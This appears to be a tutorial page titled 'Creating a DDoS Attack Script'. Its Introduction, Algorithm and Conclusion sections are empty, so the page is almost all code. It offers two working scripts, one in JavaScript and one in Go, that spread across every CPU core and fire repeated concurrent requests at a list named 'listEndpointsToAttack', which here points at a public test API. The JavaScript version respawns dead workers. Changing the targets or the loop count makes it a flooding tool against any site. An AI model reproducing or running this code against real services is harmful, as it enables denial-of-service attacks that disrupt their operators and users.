Skip to content

Creating a DDoS Attack Script

Introduction

Algorithm

Conclusion

Script Example in Javascript

import cluster from "cluster";
import os from "os";
import fs from "fs";

const numWorkers = os.cpus().length;

const listEndpointsToAttack = [
  "https://jsonplaceholder.typicode.com/users/1",
  "https://jsonplaceholder.typicode.com/users/2",
  "https://jsonplaceholder.typicode.com/users/3",
  "https://jsonplaceholder.typicode.com/posts/1",
  "https://jsonplaceholder.typicode.com/posts/2",
  "https://jsonplaceholder.typicode.com/posts/3",
  "https://jsonplaceholder.typicode.com/comments/1",
  "https://jsonplaceholder.typicode.com/comments/2",
  "https://jsonplaceholder.typicode.com/comments/3",
  "https://jsonplaceholder.typicode.com/todos/1",
  "https://jsonplaceholder.typicode.com/todos/2",
  "https://jsonplaceholder.typicode.com/todos/3",
];

const writeStatisticsToFile = (pid, data) => {
  try {
    fs.writeFileSync(
      `./responses-javascript/responses-from-worker-id-${pid}.json`,
      JSON.stringify(data, null, 4),
      "utf8"
    );
  } catch (error) {
    console.error("An error has occurred while writing to file:", error);
  }
};

if (cluster.isPrimary) {
  console.log(`Master cluster setting up ${numWorkers} workers...`);

  for (let i = 0; i < numWorkers; i++) {
    cluster.fork();
  }

  cluster.on("online", worker => {
    console.log(`Worker ${worker.process.pid} is online`);
  });

  cluster.on("exit", (worker, code, signal) => {
    console.log(
      `Worker ${worker.process.pid} died with code: ${code}, and signal: ${signal}. Starting a new worker...`
    );
    cluster.fork();
  });
} else {
  const workerJobStatistics = {
    worker_id: process.pid,
    worker_execution_time: null,
    total_requests_made: 0,
    total_requests_timeout: 0,
    total_requests_http_status_code_200: 0,
    total_requests_fail: 0,
    responses: [],
  };

  const processRequest = (url, statistics) => {
    const request = {
      endpoint: url,
      http_status_code_response: null,
      response: null,
    };
    return fetch(url)
      .then(response => {
        statistics.total_requests_made += 1;
        if (response.status === 200) {
          statistics.total_requests_http_status_code_200 += 1;
          request.http_status_code_response = response.status;
          request.endpoint = response.url;
        }
        return response.json();
      })
      .then(response => {
        request.response = response;
        statistics.responses.push(request);
        console.log(response);
        writeStatisticsToFile(process.pid, statistics);
      })
      .catch(error => {
        statistics.total_requests_fail += 1;
        console.error(`Error processing ${url}:`, error);
        writeStatisticsToFile(process.pid, statistics);
      });
  };

  const sendRequestsStartTime = Date.now();
  for (let i = 0; i < 20; i++) {
    listEndpointsToAttack.forEach(url => {
      processRequest(url, workerJobStatistics);
    });
  }
  const sendRequestsEndTime = Date.now();
  const sendRequestsTime = (sendRequestsEndTime - sendRequestsStartTime) / 1000;
  workerJobStatistics.worker_execution_time = `${sendRequestsTime} seconds`;

  console.log(
    `Worker ${process.pid} sent all requests in ${sendRequestsTime} seconds`
  );

  writeStatisticsToFile(process.pid, workerJobStatistics);
}

Script Example in Go

package main

import (
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"runtime"
	"sync"
	"time"
)

var listEndpointsToAttack = []string{
	"https://jsonplaceholder.typicode.com/users/1",
	"https://jsonplaceholder.typicode.com/users/2",
	"https://jsonplaceholder.typicode.com/users/3",
	"https://jsonplaceholder.typicode.com/posts/1",
	"https://jsonplaceholder.typicode.com/posts/2",
	"https://jsonplaceholder.typicode.com/posts/3",
	"https://jsonplaceholder.typicode.com/comments/1",
	"https://jsonplaceholder.typicode.com/comments/2",
	"https://jsonplaceholder.typicode.com/comments/3",
	"https://jsonplaceholder.typicode.com/todos/1",
	"https://jsonplaceholder.typicode.com/todos/2",
	"https://jsonplaceholder.typicode.com/todos/3",
}

type Request struct {
	Endpoint               string      `json:"endpoint"`
	HTTPStatusCodeResponse int         `json:"http_status_code_response"`
	Response               interface{} `json:"response"`
}

type WorkerJobStatistics struct {
	WorkerID                       int       `json:"worker_id"`
	WorkerExecutionTime            string    `json:"worker_execution_time"`
	TotalRequestsMade              int       `json:"total_requests_made"`
	TotalRequestsTimeout           int       `json:"total_requests_timeout"`
	TotalRequestsHTTPStatusCode200 int       `json:"total_requests_http_status_code_200"`
	TotalRequestsFail              int       `json:"total_requests_fail"`
	Responses                      []Request `json:"responses"`
}

func worker(id int, wg *sync.WaitGroup, sem chan struct{}) {
	defer wg.Done()

	start := time.Now()
	fmt.Printf("Worker ID: %d is online\n", id)

	totalRequestsMade := 0
	workerJobStatistics := WorkerJobStatistics{
		WorkerID: id,
	}

	var sendRequestsWaitGroup sync.WaitGroup

	sendRequestsStartTime := time.Now()

	for i := 0; i < 20; i++ {
		for _, endpoint := range listEndpointsToAttack {
			totalRequestsMade++
			sendRequestsWaitGroup.Add(1)
			go func(endpoint string) {
				defer sendRequestsWaitGroup.Done()
				sem <- struct{}{}
				processRequest(endpoint, &workerJobStatistics, id)
				<-sem
			}(endpoint)
		}
	}

	sendRequestsWaitGroup.Wait()
	sendRequestsEndTime := time.Now()
	sendRequestsTime := sendRequestsEndTime.Sub(sendRequestsStartTime).Seconds()

	fmt.Printf("Worker %d sent all requests in %.2f seconds\n", id, sendRequestsTime)

	duration := time.Since(start)
	workerJobStatistics.TotalRequestsMade = totalRequestsMade
	workerJobStatistics.WorkerExecutionTime = fmt.Sprintf("%.2f seconds", duration.Seconds())

	fmt.Printf("Worker ID: %d processed a total of: %d requests in %v\n", id, totalRequestsMade, duration)

	writeFile(fmt.Sprintf("./responses-golang/responses-from-worker-id-%d.json", id), workerJobStatistics)
}

func processRequest(endpoint string, stats *WorkerJobStatistics, workerID int) {
	request := Request{
		Endpoint: endpoint,
	}

	resp, err := http.Get(endpoint)
	if err != nil {
		stats.TotalRequestsTimeout++
		log.Printf("Error fetching URL %s: %v", endpoint, err)
		return
	}
	defer resp.Body.Close()

	request.HTTPStatusCodeResponse = resp.StatusCode
	if resp.StatusCode == 200 {
		stats.TotalRequestsHTTPStatusCode200++
	}

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		stats.TotalRequestsFail++
		log.Printf("Error reading response body: %v", err)
		return
	}

	err = json.Unmarshal(body, &request.Response)
	if err != nil {
		stats.TotalRequestsFail++
		log.Printf("Error unmarshalling response: %v", err)
		return
	}

	stats.Responses = append(stats.Responses, request)

	responseJSON, err := json.MarshalIndent(request.Response, "", "  ")
	if err != nil {
		log.Printf("Error marshalling response to JSON: %v", err)
	} else {
		fmt.Println(string(responseJSON))
	}

	writeFile(fmt.Sprintf("./responses/responses-from-worker-id-%d.json", workerID), *stats)
}

func writeFile(filename string, data interface{}) error {
	file, err := json.MarshalIndent(data, "", "  ")
	if err != nil {
		return err
	}

	err = os.WriteFile(filename, file, 0644)
	if err != nil {
		return err
	}

	return nil
}

func main() {
	numWorkers := runtime.NumCPU()
	var wg sync.WaitGroup

	sem := make(chan struct{}, numWorkers*5)

	fmt.Printf("Master cluster setting up %d workers...\n", numWorkers)

	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go worker(i, &wg, sem)
	}

	wg.Wait()
}